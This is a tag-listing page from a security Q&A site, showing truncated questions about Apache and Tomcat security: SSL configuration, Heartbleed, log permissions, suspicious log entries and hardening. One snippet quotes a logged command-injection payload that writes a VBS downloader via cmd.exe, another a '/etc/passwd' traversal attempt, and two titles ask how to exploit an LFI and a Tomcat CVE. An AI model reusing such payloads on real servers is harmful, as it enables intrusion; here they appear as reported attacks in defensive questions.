Questions about the security of Apache open source software, especially Apache HTTP Server

learn more… | top users | synonyms

0
votes
1answer
2k views

Apache 2.2 mod_ssl configuration Forward Secrecy/BREACH/BEAST/CRIME

I am looking for mod_ssl configuration which protects against common attacks like Breach, Beast and Crime. I already disabled gzip to avoid Crime but I'm unsure about the others. RC4 should only be ...
0
votes
2answers
179 views

Does the Heartbleed vulnerability affect signed java applets [closed]

I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web ...
0
votes
1answer
63 views

Security implications of putting virtual hosts source code in /var/www/[domain]

A friend pointed out that putting virtual hosts as sub folders of the default /var/www was a bad idea. (linux example path; this applies to all OS) I see that it's possible to reach the virtual hosts ...
0
votes
1answer
288 views

How does a website get pass my server firewall and attempt to hotlink to my server resources?

I was stumped when I saw the following lines on my Apache server error log this morning: [authz_core:error] [client ::1:37317] AH01630: client denied by server configuration: ...
0
votes
1answer
190 views

Abusing write permission on Apache logs dir to escalete privileges

I have just come across this sentence on apache log files documentation: Anyone who can write to the directory where Apache is writing a log file can almost certainly gain access to the uid that ...
0
votes
2answers
215 views

My Apache log is kind of freaking me out [closed]

So, last night I looked at the Apache log of my shared hosting account for the first time. There was quite a lot of traffic that looked suspicious, specifically a lot of GET request from a domain, ...
0
votes
3answers
2k views

Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
0
votes
1answer
123 views

How bad of a practice is it to mount tomcat's manager to Apache2?

If we take into account only security concerns, how bad of a practice is it to mount tomcat's manager to Apache2. E.g.,: JkMount /manager/html* ajp13_worker I'm doing this because my company has ...
0
votes
1answer
644 views

Mod_security rules-updater.pl fails to pull new release

Mod_security has a rules updater distributed with their release packages on sourceforge: http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/ Usually, you can run the script ...
0
votes
0answers
19 views

Correct permissions for /runtime and /assets folders

Could you suggest how to properly configure the right directories in CentOS 6.6? On a server running a framework Yii, which works with the runtime directories and assets. For these directories I need ...
0
votes
0answers
14 views

unable to download content from login page [migrated]

I am using apache tomcat on linux platform to host website. I put apk link on login page so users/guest can download mobile app but they are unable to download that app. When registered user login to ...
0
votes
0answers
26 views

Apache.exe trojan attack on xp server, wiped it with a linux install am i safe? [duplicate]

Hello I ran a apache web server on a windows xp pc on my home network. My antivirus picked up an attack, but didn't prevent it. It seems I had a Trojan attack on my apache.exe that got through. I know ...
0
votes
0answers
41 views

Hostname based Access Controls from clients with shared IPs

I have been pondering this question for some time now: Can you really use hostnames as access controls, especially when clients might be behind proxies or routers performing NAT (or any other shared ...
0
votes
0answers
160 views

Does GHOST (CVE-2015-0235) affect tomcat 7 with Java Secure Sockets Extension SSL?

If your system has certain versions (2.2 - 2.17) of glibc then it has the GHOST vulnerability. However, an attacker who does not otherwise have access to your system cannot take advantage of that ...
0
votes
0answers
62 views

Can't get my SSL CA to work with Apache

So I have an SSL enabled website running on Apache2. https://eamorr.com (I get a warning in my browser, as expected) I have a config file for this website at: ...
0
votes
1answer
87 views

HTTPS enable for proxy server or web server

Say I have 2 separated servers which are one web server (apache) and one proxy server (nginx), I want to use HTTPS for the website running on the Apache. Do I enable SSL on apache or nginx or both? ...
0
votes
1answer
60 views

Are there any exploits in Movable Type that allow the attacker to delete the movable type files?

I'm a developer for a web site; we have a small blog powered by Movable Type that we added a few years ago. The blog doesn't get a lot of traffic or attention; we just noticed a couple of days ago ...
0
votes
1answer
403 views

ssl client authentication: check only one certificate VS certs signed from a ca

i'm about to secure a webservice with client authentication. (apache2, mod_ssl, openssl). from what i googled, i found that it's more common to have a ca, which signs the client certs, which will ...
0
votes
4answers
364 views

Strange activity on Apache httpd access log [duplicate]

I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete ...
0
votes
2answers
189 views

Apache Server Maintains HTTPS Connection To Mysterious Server (Hijacking?)

I've been on a shared webhosting plan for 10 years and I recently moved all of my sites (various WordPress sites and associated plugins, all in PHP, a MediaWiki site, and a lot of static stuff) to my ...
-1
votes
1answer
416 views

Is this new hack attempt something to worry about?

- - [22/Sep/2014:13:54:24 -0600] "GET /?search==%00{.exec|cmd.exe +%2Fc +echo%3E22222.vbs +dim +wait%2Cquit%2Cout%3ASet +xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet +WshShell ...
-1
votes
1answer
4k views

Incorrect file permissions for LAMP [closed]

I have installed Apache 2.4.6 on my server and have the following virtual host config: <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName foobar1.com DocumentRoot ...
-1
votes
1answer
694 views

Prevent URL manipulations including /proc and /etc with fail2ban

I get many attacks on my debian apache server that include URL-manipulations like http://url_on_my_eserver/?username=/etc/passwd How can I block these attacks?
-1
votes
1answer
509 views

How to exploit a local file inclusion vulnerability in a Solaris server [closed]

I am trying to exploit a local file inclusion vulnerability on a Solaris server for my security course. The server is running Apache2 through CoolStack. What is the file that I need to open? The ...
-2
votes
2answers
145 views

My VPS has been shut down now again for the second time for TOS violations, and I really need some help. [closed]

My VPS has been shut down now again for the second time for TOS violations (email spam), and I really need some help. I have been battling with my server being attacked for over a year now. Most of my ...
-2
votes
2answers
116 views

LAMP Stack Tiers - why?

What are the vulnerabilities mitigated by a tiered LAMP stack? As I understand it, any breach would allow access to the database even if it was tiered. What's the benefit? Are we better to ...
-3
votes
1answer
763 views

Cross-site request forgery attack. How can we stopped this? [closed]

On one of our websites, we are seeing this code is adding itself. I tried to figured out but no success. One thing I have noticed when I removed the html, head and body starting tags, it's gone. Our ...
-3
votes
1answer
72 views

insecure HTTP Methods Enabled — how to control? [closed]

Here I am new to insecure HTTP Methods Enabled. The server allows HTTP methods that are considered dangerous. The following methods were enabled: PUT,DELETE Software used: ...
-4
votes
1answer
1k views

Exploiting tomcat's vulnerability CVE-2009-2693 Arbitrary file deletion and/or alteration on deploy [closed]

For some tests, I want to exploit tomcat 6 vulnerability CVE-2009-2693. You can see it here http://tomcat.apache.org/security-6.html I am trying this with insecure web application of OWASP. I made ...